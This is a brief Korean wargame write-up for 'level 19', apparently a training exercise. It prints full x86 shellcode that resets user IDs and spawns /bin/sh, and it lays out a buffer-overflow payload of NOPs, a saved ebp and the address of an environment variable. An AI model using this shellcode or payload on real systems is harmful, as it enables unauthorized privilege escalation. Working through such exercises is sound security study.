level 19
전 레벨에 비해 소스의 길이가 급격하게 줄어들었다..
달라진 부분은 권한상승을 해주는 부분이 사라졌다는 것
그러므로 쉘코드에 권한상승을 해주는 부분을 추가해주어야한다.
두가지 선택이있는데
쉘코드를 직접 만들던가, 인터넷에 있는 쉘코드를 가져와 쓰면된다 ㅋㅋ..
사용한 쉘코드 :
\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
내가 항상 사용하던 25바이트 쉘코드 앞에 권한상승하는 부분을 덧붙여서 사용하였다.
버퍼의 크기 작으므로 환경변수를 이용하였다.
쉘코드를 export해준다. 성공 확률을 높여주기위해서 nop을 30개정도 덧붙여서 보내준다.
export해준 환경변수의 주소를 알기위해 간단한 코딩을하고 주소를 알아낸다.
그리고 정확한 buf의 사이즈를 보기위해 gdb를 이용한다.
buf의 사이즈는 0x28(40)으로 추정.
페이로드 : nop*40 + ebp(4byte) + 환경변수주소
쉘이떴다!
my-pass 명령어로 비밀번호를 알아내도 다음레벨로 이동~.~